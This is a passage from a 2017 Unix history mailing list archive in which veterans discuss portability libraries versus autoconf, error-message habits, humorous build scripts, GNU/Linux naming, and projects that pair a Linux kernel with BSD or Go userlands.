The way that I did this was to have a portability libarary and header file
for each target system.  We wrote our code for SunOS with the minor difference
that each library or system call had a p_ prefix, i.e., p_fopen and so on.
The portability library and header mapped each of these into the target
system facilities.  In most cases this was done by a macro in the header
file that just defined p_fopen to be fopen and so on.  In the harder cases
we had to write actual code to do some translation.  I have a faint memory
that Apollo had some different arguments to fopen, and at least one of the
systems either used carriage return as a line terminator or maybe used CF-LF.

There are two big advantages to handling portability this way.  First, the
source code is easier to read; it's not full of #ifdef this and #ifndef that.
Second, once the portability library existed it just worked and could be
reused.  With the GNU tools methodology, every time someone needed to do a
fopen on a machine where the target behaved differently, the alternate code
needed to be written.  There was no debugged library where this stuff only
had to be figured out once.

Just my $.02.

Jon


From jon at fourwinds.com  Fri Sep 15 06:26:12 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Thu, 14 Sep 2017 13:26:12 -0700
Subject: [TUHS] Happy birthday,
	Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <023c01d32d95$b22f2ed0$168d8c70$@ronnatalie.com>
References: <CAEdTPBejtH-15AHCpEvD9C=7Yiy1yvv6=b2R9o0q-PX6cb+O3A@mail.gmail.com>
 <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>
 <023c01d32d95$b22f2ed0$168d8c70$@ronnatalie.com>
Message-ID: <201709142026.v8EKQClr002768@darkstar.fourwinds.com>

"Ron Natalie" writes:
> The worst error system I ever encountered was a summer job I had in college.  
> The system I was using had a package called “reptile” that’s sole diagnostic
> was “Snake bite at xxxx” where xxxx was the address that the error was
> detected.   I had a crib sheet of what errors corresponded to what addresses,
> but that was rendered incorrect when the program was relinked and evertying
> moved.

I suppose that I'm guilty of this at some level.  When I worked at Tektronix
there was a management edict that one had to check for error returns on all
system calls even if the only way in which the system call would fail was
because the system was in the process of crashing.  I don't remember the exact
specifics, but it annoyed me to be wasting valuable space doing this, and there
was some sort of ioctl on a tty that could not possibly fail on a healthy system
and wouldn't cause any damage even if the error was returned.  While nobody ever
saw it, I chose the error message "tough ttys".


From itz at very.loosely.org  Fri Sep 15 06:31:45 2017
From: itz at very.loosely.org (Ian Zimmerman)
Date: Thu, 14 Sep 2017 13:31:45 -0700
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <20170914132146.KCMCk%steffen@sdaoden.eu>
References: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <20170913022333.GD24549@mcvoy.com>
 <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
 <CACwAiQmsvy0Mxa+EVrRznq72hrT0uJ=7_zhaF=XqQ9AwWB2MEQ@mail.gmail.com>
 <201709141111.v8EBBnXm021044@freefriends.org>
 <20170914132146.KCMCk%steffen@sdaoden.eu>
Message-ID: <20170914203145.66kyyvg45p6gz5nb@matica.foolinux.mooo.com>

On 2017-09-14 15:21, Steffen Nurpmeso wrote:

> But of course, what is the alternative?

scons?  The main argument against it seems to be speed (or rather lack
of it).  The current version has a framework for build-time tests with
features quite similar to autotools.  Of course there are many fewer
pre-packaged tests, but in my experience the pre-packaged tests in
autotools are not all that useful, at least not for building on "modern"
systems; for the interesting platform differences one needs to write
custom auto* macros anyway.

-- 
Please don't Cc: me privately on mailing lists and Usenet,
if you also post the followup to the list or newsgroup.
Do obvious transformation on domain to reply privately _only_ on Usenet.


From ron at ronnatalie.com  Fri Sep 15 06:32:41 2017
From: ron at ronnatalie.com (Ron Natalie)
Date: Thu, 14 Sep 2017 16:32:41 -0400
Subject: [TUHS] Tools and building: libtool, autoconf,
	etc. [ trying to have a relevant subject line ]
In-Reply-To: <201709142022.v8EKMqf8001876@darkstar.fourwinds.com>
References: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <20170913022333.GD24549@mcvoy.com>
 <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
 <CACwAiQmsvy0Mxa+EVrRznq72hrT0uJ=7_zhaF=XqQ9AwWB2MEQ@mail.gmail.com>
 <201709141111.v8EBBnXm021044@freefriends.org>
 <20170914132146.KCMCk%steffen@sdaoden.eu>
 <201709141944.v8EJisAw010768@freefriends.org>
 <201709142022.v8EKMqf8001876@darkstar.fourwinds.com>
Message-ID: <024f01d32d98$9d134100$d739c300$@ronnatalie.com>

Autoconf didn't originate with Gnu.   It was around longer than that
(someone can probably remember, but I remember some of the netnews software
using it long before RMS or LINUX got going).
I always havd a lot of distatste for it.     I worked on portable software
as well, everything form Unipress EMACS to BRL CAD to my own software
products (we ran on, let me see if I can recall:   SUN both Solaris and the
old SunOS4, Stellar, Ardent, HP (both architectures), Apollo, SGI (various
levels), DEC MIPS, DEC ALPHA, RS6000, iTanium, i8t0 (several flavors), the
80x86 in many flavors, Intergraph 32032, Intergraph Clipper...

We were always able to disttill the portability information into a single
set of include files, one conf.h and one included for each platform.    Most
of the grief came from people with various ideas on how to do 64 bit seeks
and of all things (thankfully we got away from this) stty/ioctl.

I never had to resort to a script to set things up.   Reading down through
conf.h told me what my options were and it didn't take long to set things
up.

I also ported/wrote X11 servers for four or five systems (including writing
my own CFB24 before MIT released theres).    iMake worked pretty well,
though since it relied on the C prepropcessor and the exacxt format of the C
preprocessor output really isn't defined for white space, it sometimes was a
problem.    Eventually, we picked up CMAKE though I don't particularly like
that one either.



From bakul at bitblocks.com  Fri Sep 15 06:41:23 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Thu, 14 Sep 2017 13:41:23 -0700
Subject: [TUHS] Tools and building: libtool, autoconf,
 etc. [ trying to have a relevant subject line ]
In-Reply-To: <201709142022.v8EKMqf8001876@darkstar.fourwinds.com>
References: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <20170913022333.GD24549@mcvoy.com>
 <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
 <CACwAiQmsvy0Mxa+EVrRznq72hrT0uJ=7_zhaF=XqQ9AwWB2MEQ@mail.gmail.com>
 <201709141111.v8EBBnXm021044@freefriends.org>
 <20170914132146.KCMCk%steffen@sdaoden.eu>
 <201709141944.v8EJisAw010768@freefriends.org>
 <201709142022.v8EKMqf8001876@darkstar.fourwinds.com>
Message-ID: <F3143768-86C4-4C4C-9E76-2120FC05B3D5@bitblocks.com>

On Sep 14, 2017, at 1:22 PM, Jon Steinhart <jon at fourwinds.com> wrote:
> 
> I don't have much love for the libtool/autoconf/automake/etc. system.
> While it works, and is better than nothing, I have always felt that
> it was the wrong approach.  I am fortunate that I know some of the
> folks who worked on these tools because they're part of the too complex
> for casual users thing that I mentioned in my earlier post about open
> source.

My days of wrestling with libtool/autoconf/automake/cmake are mostly
in the past. On FreeBSD/MacOS I use pkg/brew. For any new coding I
mainly use Go. Even cross compiled binaries just work. It has a very
well engineered ecosystem.

> There are two big advantages to handling portability this way.  First, the
> source code is easier to read; it's not full of #ifdef this and #ifndef that.
> Second, once the portability library existed it just worked and could be
> reused.  With the GNU tools methodology, every time someone needed to do a
> fopen on a machine where the target behaved differently, the alternate code
> needed to be written.  There was no debugged library where this stuff only
> had to be figured out once.

I agree with this. auto{conf,make}/configure is just the wrong approach.

At Real Networks our media server ran on 12 or so Unix platforms + windows +
macOS9 (at the time). I managed to corral machine dependent code in basically
a couple files for all but MacOS9. No #ifdefs in any other file. C++ also
helped to hide things like select(2) vs poll(2) from other code.




From itz at very.loosely.org  Fri Sep 15 06:31:45 2017
From: itz at very.loosely.org (Ian Zimmerman)
Date: Thu, 14 Sep 2017 13:31:45 -0700
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <20170914132146.KCMCk%steffen@sdaoden.eu>
References: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <20170913022333.GD24549@mcvoy.com>
 <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
 <CACwAiQmsvy0Mxa+EVrRznq72hrT0uJ=7_zhaF=XqQ9AwWB2MEQ@mail.gmail.com>
 <201709141111.v8EBBnXm021044@freefriends.org>
 <20170914132146.KCMCk%steffen@sdaoden.eu>
Message-ID: <20170914203145.66kyyvg45p6gz5nb@matica.foolinux.mooo.com>

On 2017-09-14 15:21, Steffen Nurpmeso wrote:

> But of course, what is the alternative?

scons?  The main argument against it seems to be speed (or rather lack
of it).  The current version has a framework for build-time tests with
features quite similar to autotools.  Of course there are many fewer
pre-packaged tests, but in my experience the pre-packaged tests in
autotools are not all that useful, at least not for building on "modern"
systems; for the interesting platform differences one needs to write
custom auto* macros anyway.

-- 
Please don't Cc: me privately on mailing lists and Usenet,
if you also post the followup to the list or newsgroup.
Do obvious transformation on domain to reply privately _only_ on Usenet.


From clemc at ccc.com  Fri Sep 15 06:46:07 2017
From: clemc at ccc.com (Clem Cole)
Date: Thu, 14 Sep 2017 16:46:07 -0400
Subject: [TUHS] really Pottering vs UNIX
Message-ID: <CAC20D2M9E0TdK-wnLjMDbDF+qfnWgJCEikBq0RmrT9=oFSGEuQ@mail.gmail.com>

On Thu, Sep 14, 2017 at 4:09 PM, Jon Steinhart <jon at fourwinds.com> wrote:

>
> Well, I'd suggest that a lot of this has to do with people who have vision
> and people who don't.  When you look at UNIX, you see something created by
> a bunch of very talented people who had a reasonably shared vision of what
> they were trying to achieve.
>

​Jon - I mostly agree, but would twist it a little differently (hey, we've
been arguing since the 1970s, so why stop now).

I think you are actually touching on an idea that has been around humanity
for a long time that is independent of the computer field.  We call it
"good taste."  Part of acquiring good taste is learning what is in bad
taste, a heavy dose of experience and frankly the ability to evaluate your
own flaws.   What I always love about Dennis, Ken, Doug, Steve and the rest
if the team is their willingness to accept the shortcomings and compromises
that were made as the developed UNIX as a system.   I never saw them trying
to claim perfection or completeness, much less and end state had been
reached.  Always looking for something better, more interesting.  And
always, standing on the shoulders of others...

What I really dislike about much of the crowd that has been discussed is
that they often seem more contented to kick people in the shins that
standing on their shoulders.

I used to say, when we were hiring people for some of my start-ups, what we
wanted was experienced folks that had demonstrated good taste.  Those are
people you can trust; and will get you pretty close to where you want to be.

In fact, to pick on one of my previous employers, I have always said, what
DEC got wrong, was it was always striving to be perfect.  And lots of
things never shipped, or when they did (like Alpha) it was wonderful, but
it did not matter.  The opportunity window had passed.

Part of "good taste" is getting the job done and on time.  Being "good
enough" and moving on to the next thing.   Sun (certainly at the beginning)
was pretty good at this idea.   The UNIX team clearly got a lot of it right.

It is easy to throw stones at others.  It is hard to repeatedly get so much
right for so long and UNIX has and did.

Clem

​
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170914/da3bc291/attachment.html>

From itz at very.loosely.org  Fri Sep 15 06:50:58 2017
From: itz at very.loosely.org (Ian Zimmerman)
Date: Thu, 14 Sep 2017 13:50:58 -0700
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <alpine.BSF.2.02.1709141552240.1652@frieza.hoshinet.org>
References: <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>
 <alpine.BSF.2.02.1709141552240.1652@frieza.hoshinet.org>
Message-ID: <20170914205058.r4zrexpig5mbvhff@matica.foolinux.mooo.com>

On 2017-09-14 15:54, Steve Nickolas wrote:

> You got perror(), use it (not you)... >_>
> 
> All my code that outputs error messages for stuff in the C library
> uses perror(), so a typical error might be "foo: cannot open file bar:
> No such file or directory", with the last part coming from the C
> runtime itself.

This only works if you call libc directly, or if the code you call
(including your own) reuses libc errno codes.  If you deal with libfoo,
libfoo has its own error codes, and has no perror-like function, you
must write your own :(

-- 
Please don't Cc: me privately on mailing lists and Usenet,
if you also post the followup to the list or newsgroup.
Do obvious transformation on domain to reply privately _only_ on Usenet.


From torek at torek.net  Fri Sep 15 07:00:05 2017
From: torek at torek.net (Chris Torek)
Date: Thu, 14 Sep 2017 14:00:05 -0700
Subject: [TUHS] Tools and building: libtool, autoconf,
	etc. [ trying to have a relevant subject line ]
In-Reply-To: Your message of "Thu, 14 Sep 2017 16:32:41 -0400."
 <024f01d32d98$9d134100$d739c300$@ronnatalie.com>
Message-ID: <201709142100.v8EL05mL005253@elf.torek.net>

>Autoconf didn't originate with Gnu.   It was around longer than that
>(someone can probably remember, but I remember some of the netnews software
>using it long before RMS or LINUX got going).

It was not autoconf itself, but Larry Wall's configure scripts
were probably an (or "the") inspiration.

"Congratulations!  You're not running Eunice."

Chris


From noel.hunt at gmail.com  Fri Sep 15 07:00:00 2017
From: noel.hunt at gmail.com (Noel Hunt)
Date: Fri, 15 Sep 2017 07:00:00 +1000
Subject: [TUHS] Tools and building: libtool, autoconf,
 etc. [ trying to have a relevant subject line ]
In-Reply-To: <F3143768-86C4-4C4C-9E76-2120FC05B3D5@bitblocks.com>
References: <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <20170913022333.GD24549@mcvoy.com>
 <CAJfiPzy1Zc19qaeD6s8hO4dDs5QTNi8_A9FdhyFZu+eeXJiYZw@mail.gmail.com>
 <CACwAiQmsvy0Mxa+EVrRznq72hrT0uJ=7_zhaF=XqQ9AwWB2MEQ@mail.gmail.com>
 <201709141111.v8EBBnXm021044@freefriends.org>
 <20170914132146.KCMCk%steffen@sdaoden.eu>
 <201709141944.v8EJisAw010768@freefriends.org>
 <201709142022.v8EKMqf8001876@darkstar.fourwinds.com>
 <F3143768-86C4-4C4C-9E76-2120FC05B3D5@bitblocks.com>
Message-ID: <CAGfO01yAhJNhuVfcvxEDj9HKH6ObuFT_Xc2=UFqvWv32Z+TNQQ@mail.gmail.com>

I'm surprised no-one has mentioned 'iffe', written by
Glenn Fowler and Phong Vo who were at AT&T. It is simply
a (large) shell script that runs 'feature' files. I have
had problems with it on 64-bit builds but I have had far
too many problems with 'configure' over the years.

'Iffe' deserves to be better known.

On Fri, Sep 15, 2017 at 6:41 AM, Bakul Shah <bakul at bitblocks.com> wrote:

> On Sep 14, 2017, at 1:22 PM, Jon Steinhart <jon at fourwinds.com> wrote:
> >
> > I don't have much love for the libtool/autoconf/automake/etc. system.
> > While it works, and is better than nothing, I have always felt that
> > it was the wrong approach.  I am fortunate that I know some of the
> > folks who worked on these tools because they're part of the too complex
> > for casual users thing that I mentioned in my earlier post about open
> > source.
>
> My days of wrestling with libtool/autoconf/automake/cmake are mostly
> in the past. On FreeBSD/MacOS I use pkg/brew. For any new coding I
> mainly use Go. Even cross compiled binaries just work. It has a very
> well engineered ecosystem.
>
> > There are two big advantages to handling portability this way.  First,
> the
> > source code is easier to read; it's not full of #ifdef this and #ifndef
> that.
> > Second, once the portability library existed it just worked and could be
> > reused.  With the GNU tools methodology, every time someone needed to do
> a
> > fopen on a machine where the target behaved differently, the alternate
> code
> > needed to be written.  There was no debugged library where this stuff
> only
> > had to be figured out once.
>
> I agree with this. auto{conf,make}/configure is just the wrong approach.
>
> At Real Networks our media server ran on 12 or so Unix platforms + windows
> +
> macOS9 (at the time). I managed to corral machine dependent code in
> basically
> a couple files for all but MacOS9. No #ifdefs in any other file. C++ also
> helped to hide things like select(2) vs poll(2) from other code.
>
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170915/da846e48/attachment.html>

From ron at ronnatalie.com  Fri Sep 15 07:00:51 2017
From: ron at ronnatalie.com (Ron Natalie)
Date: Thu, 14 Sep 2017 17:00:51 -0400
Subject: [TUHS] Happy birthday,
	Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <20170914205058.r4zrexpig5mbvhff@matica.foolinux.mooo.com>
References: <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>
 <alpine.BSF.2.02.1709141552240.1652@frieza.hoshinet.org>
 <20170914205058.r4zrexpig5mbvhff@matica.foolinux.mooo.com>
Message-ID: <025a01d32d9c$8c84ae10$a58e0a30$@ronnatalie.com>

The error codes perror relies on don't come from "libc."   They come from
the kernel.   The values only make sense if the error is the result of a
system call.

-----Original Message-----
 
This only works if you call libc directly, or if the code you call
(including your own) reuses libc errno codes.  If you deal with libfoo,
libfoo has its own error codes, and has no perror-like function, you must
write your own :(

 .



From ron at ronnatalie.com  Fri Sep 15 07:03:07 2017
From: ron at ronnatalie.com (Ron Natalie)
Date: Thu, 14 Sep 2017 17:03:07 -0400
Subject: [TUHS] Tools and building: libtool, autoconf,
	etc. [ trying to have a relevant subject line ]
In-Reply-To: <201709142100.v8EL05mL005253@elf.torek.net>
References: Your message of "Thu, 14 Sep 2017 16:32:41 -0400."
 <024f01d32d98$9d134100$d739c300$@ronnatalie.com>
 <201709142100.v8EL05mL005253@elf.torek.net>
Message-ID: <025c01d32d9c$de1543c0$9a3fcb40$@ronnatalie.com>

Years ago, I was building an RSX-11M system and it had a rather intricate
setup script.    At one point it announced:

"This will take a while.   Go have a cup of coffee."

And I useually did.   Then one day I was building a machine in another lab
and it said:

"This will take a while.   Go have a cup of tea."

OK, I had to dig into the script to figure it out.   Turns out the beverage
selection was dependent on  the configured line frequency.   The lab system
was built for European deployment (50HZ power).



From bakul at bitblocks.com  Fri Sep 15 07:15:25 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Thu, 14 Sep 2017 14:15:25 -0700
Subject: [TUHS] really Pottering vs UNIX
In-Reply-To: <CAC20D2M9E0TdK-wnLjMDbDF+qfnWgJCEikBq0RmrT9=oFSGEuQ@mail.gmail.com>
References: <CAC20D2M9E0TdK-wnLjMDbDF+qfnWgJCEikBq0RmrT9=oFSGEuQ@mail.gmail.com>
Message-ID: <880AF6DC-A8C8-49C3-B874-A0879406BBDD@bitblocks.com>


> On Sep 14, 2017, at 1:46 PM, Clem Cole <clemc at ccc.com> wrote:
> 
> I think you are actually touching on an idea that has been around humanity for a long time that is independent of the computer field.  We call it "good taste."  Part of acquiring good taste is learning what is in bad taste, a heavy dose of experience and frankly the ability to evaluate your own flaws.

More to do with a sense for quality. Often developed through experience
(but not just that). I think what we need is a guild system for
programmers/engineers. Being an apprentice of a master craftsman is
essential for learning this "good taste" as you call it.

> 
> Part of "good taste" is getting the job done and on time.  Being "good enough" and moving on to the next thing.   Sun (certainly at the beginning) was pretty good at this idea.   The UNIX team clearly got a lot of it right.

Agreed.

[Just nitpicking here! I think we agree on the underlying concept]

From tytso at mit.edu  Fri Sep 15 07:35:35 2017
From: tytso at mit.edu (Theodore Ts'o)
Date: Thu, 14 Sep 2017 17:35:35 -0400
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <20170914193905.GD25914@wopr>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193905.GD25914@wopr>
Message-ID: <20170914213535.4ptpo7jtaem6x5tf@thunk.org>

On Thu, Sep 14, 2017 at 12:39:05PM -0700, Kurt H Maier wrote:
> On Thu, Sep 14, 2017 at 12:15:32PM -0400, Steve Nickolas wrote:
> > 
> > Isn't that pretty much just Lennart Poettering and his fan club?
> > 
> 
> It's right there in the name "GNU" as well.  There's a whole generation
> of computer people out here for whom bash and gawk are fossilized in
> their substrata, and they get mad when someone suggests maybe other
> tools exist.

The use of "GNU" as in "GNU/Linux" is something that was pushed by
Stallman and the Free Software Foundation, and actively abosed, or
mostly ignored by the majority of the Linux community.  See [1] if you
want more details on that whole mess.  Of the distributions, I believe
only Debian has adopted the use of GNU/Linux in their official
documentation, but it's not used by most Debian users or developers
from my experience.

I'll also note that Debian has pushed to use /bin/dash, as their
default /bin/sh, and not /bin/bash, to try to make Debian's shell
scripts to be more portable.  (And for speed reasons, since dash is
faster than bash).

[1] https://en.wikipedia.org/wiki/GNU/Linux_naming_controversy

				- Ted



From chris at groessler.org  Fri Sep 15 08:03:36 2017
From: chris at groessler.org (Christian Groessler)
Date: Fri, 15 Sep 2017 00:03:36 +0200
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <alpine.BSF.2.02.1709141549110.1652@frieza.hoshinet.org>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193010.mlx4jkqcxcqfwe4c@thunk.org>
 <alpine.BSF.2.02.1709141549110.1652@frieza.hoshinet.org>
Message-ID: <f31de93b-1f6b-1d22-ae49-324d205e9a38@groessler.org>

On 09/14/17 21:52, Steve Nickolas wrote:

> I never managed to pull it off, but I tried creating a full live Linux 
> environment based on musl, clang, Heirloom Toolchest and 
> OpenBSD/NetBSD sources.  The idea was that I wanted to make a "Real 
> Unix" that happened to have Linux as its kernel.  (It also would have 
> run the CDE as its default desktop.)


I, too, was toying with the idea of creating a NetBSD distribution which 
uses the Linux kernel and NetBSD userland.
I very much like the concept of going to /usr/src and typing "make 
build" (or "make world" on FreeBSD) and have the
whole base system rebuilt.

I've played with Gentoo Linux which also builds from source, but I found 
it too complicated (for me, at least). On the
BSDs it's just Makefiles, and no strange python (or whatever) scripts to 
build the system.

Maybe when I'm retired and have plenty of time...

regards,
chris



From gtaylor at tnetconsulting.net  Fri Sep 15 08:26:19 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Thu, 14 Sep 2017 16:26:19 -0600
Subject: [TUHS] Tools and building: libtool, autoconf,
 etc. [ trying to have a relevant subject line ]
In-Reply-To: <025c01d32d9c$de1543c0$9a3fcb40$@ronnatalie.com>
References: <024f01d32d98$9d134100$d739c300$@ronnatalie.com>
 <201709142100.v8EL05mL005253@elf.torek.net>
 <025c01d32d9c$de1543c0$9a3fcb40$@ronnatalie.com>
Message-ID: <1c311c3e-6ba6-4f5c-267e-1529e1799045@tnetconsulting.net>

On 09/14/2017 03:03 PM, Ron Natalie wrote:
> Years ago, I was building an RSX-11M system and it had a rather intricate
> setup script.    At one point it announced:
> 
> "This will take a while.   Go have a cup of coffee."
> 
> And I useually did.   Then one day I was building a machine in another lab
> and it said:
> 
> "This will take a while.   Go have a cup of tea."
> 
> OK, I had to dig into the script to figure it out.   Turns out the beverage
> selection was dependent on  the configured line frequency.   The lab system
> was built for European deployment (50HZ power).

LOL

I love the humor that I see in unix programs.

I still love to parrot "tar is cowardly refusing to create an empty 
archive" to people.



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170914/6e123c79/attachment.bin>

From erik at ono-sendai.com  Fri Sep 15 08:39:14 2017
From: erik at ono-sendai.com (Erik Berls)
Date: Thu, 14 Sep 2017 22:39:14 +0000
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <f31de93b-1f6b-1d22-ae49-324d205e9a38@groessler.org>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193010.mlx4jkqcxcqfwe4c@thunk.org>
 <alpine.BSF.2.02.1709141549110.1652@frieza.hoshinet.org>
 <f31de93b-1f6b-1d22-ae49-324d205e9a38@groessler.org>
Message-ID: <CAEFkZw_gsWkK-LAccm3gKh22-J4B5VbrQDBBnZeH0i7vv2AT-A@mail.gmail.com>

No, I am Spartacus!

I've toyed with this idea as well, mostly for getting a NetBSD environment
in a Docker container.

Maybe we should pool resources?

On Thu, Sep 14, 2017 at 15:04 Christian Groessler <chris at groessler.org>
wrote:

> On 09/14/17 21:52, Steve Nickolas wrote:
>
> > I never managed to pull it off, but I tried creating a full live Linux
> > environment based on musl, clang, Heirloom Toolchest and
> > OpenBSD/NetBSD sources.  The idea was that I wanted to make a "Real
> > Unix" that happened to have Linux as its kernel.  (It also would have
> > run the CDE as its default desktop.)
>
>
> I, too, was toying with the idea of creating a NetBSD distribution which
> uses the Linux kernel and NetBSD userland.
> I very much like the concept of going to /usr/src and typing "make
> build" (or "make world" on FreeBSD) and have the
> whole base system rebuilt.
>
> I've played with Gentoo Linux which also builds from source, but I found
> it too complicated (for me, at least). On the
> BSDs it's just Makefiles, and no strange python (or whatever) scripts to
> build the system.
>
> Maybe when I'm retired and have plenty of time...
>
> regards,
> chris
>
> --
-=erik.
--
Look, I lived through the Gray Davis years.  I *need* a UPS.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170914/bb82f173/attachment.html>

From rminnich at gmail.com  Fri Sep 15 08:52:33 2017
From: rminnich at gmail.com (ron minnich)
Date: Thu, 14 Sep 2017 22:52:33 +0000
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <CAEFkZw_gsWkK-LAccm3gKh22-J4B5VbrQDBBnZeH0i7vv2AT-A@mail.gmail.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193010.mlx4jkqcxcqfwe4c@thunk.org>
 <alpine.BSF.2.02.1709141549110.1652@frieza.hoshinet.org>
 <f31de93b-1f6b-1d22-ae49-324d205e9a38@groessler.org>
 <CAEFkZw_gsWkK-LAccm3gKh22-J4B5VbrQDBBnZeH0i7vv2AT-A@mail.gmail.com>
Message-ID: <CAP6exY+k_hFRiLz8c+mQ+bu0pvu=DxXRqxOYpMjiA18q8hFZuQ@mail.gmail.com>

The u-root project (u-root.tk) is aimed at creating the *nix tools in Go.
The targets are firmware where linux and an initramfs are loaded; and root
file systems.

One goal was to get back to old school unix where the root always included
the source to create the commands. In the non-firmware mode all the sources
are there
and they are compiled on demand, save for the 4 go tooclhain binaries and
/init.

It takes about 15 seconds to compile all the tools at present.

We've got a demo OS for Chromebooks based on u-root called NiChrome
(NiChrome is an alloy of Chrome). This was a summer project for 2 interns
here. It helped show that the idea can work to support an OS distro.

We've also shown that linux and a u-root initramfs can replace most of UEFI
firmware on the Open Compute Platform nodes, reducing boot time from 8
minutes to 17 seconds. Not as fast as the 3 seconds I'd like but you gotta
start somewhere, and most of that time is beyond our control.

We can always use help if you're interested. I'm ok with C for kernels but
don't want to use it again in user mode, hence this project.

ron

On Thu, Sep 14, 2017 at 3:39 PM Erik Berls <erik at ono-sendai.com> wrote:

> No, I am Spartacus!
>
> I've toyed with this idea as well, mostly for getting a NetBSD environment
> in a Docker container.
>
> Maybe we should pool resources?
>
> On Thu, Sep 14, 2017 at 15:04 Christian Groessler <chris at groessler.org>
> wrote:
>
>> On 09/14/17 21:52, Steve Nickolas wrote:
>>
>> > I never managed to pull it off, but I tried creating a full live Linux
>> > environment based on musl, clang, Heirloom Toolchest and
>> > OpenBSD/NetBSD sources.  The idea was that I wanted to make a "Real
>> > Unix" that happened to have Linux as its kernel.  (It also would have
>> > run the CDE as its default desktop.)
>>
>>
>> I, too, was toying with the idea of creating a NetBSD distribution which
>> uses the Linux kernel and NetBSD userland.
>> I very much like the concept of going to /usr/src and typing "make
>> build" (or "make world" on FreeBSD) and have the
>> whole base system rebuilt.
>>
>> I've played with Gentoo Linux which also builds from source, but I found
>> it too complicated (for me, at least). On the
>> BSDs it's just Makefiles, and no strange python (or whatever) scripts to
>> build the system.
>>
>> Maybe when I'm retired and have plenty of time...
>>
>> regards,
>> chris
>>
>> --
> -=erik.
> --
> Look, I lived through the Gray Davis years.  I *need* a UPS.
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170914/3e14649e/attachment.html>

From rminnich at gmail.com  Fri Sep 15 09:00:14 2017
From: rminnich at gmail.com (ron minnich)
Date: Thu, 14 Sep 2017 23:00:14 +0000
Subject: [TUHS] ping
Message-ID: <CAP6exYJxvBoFSHTYfQDjhhUmt+jN7L_Yk+6S-8SJnyYiJJc17g@mail.gmail.com>

I got a note about excessive bounces. Can you give me more info? I think
somebody is up to something  but can't be sure what.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170914/a6bf7fbe/attachment.html>

From imp at bsdimp.com  Fri Sep 15 09:04:35 2017
From: imp at bsdimp.com (Warner Losh)
Date: Thu, 14 Sep 2017 17:04:35 -0600
Subject: [TUHS] Happy birthday, Dennis Ritchie!
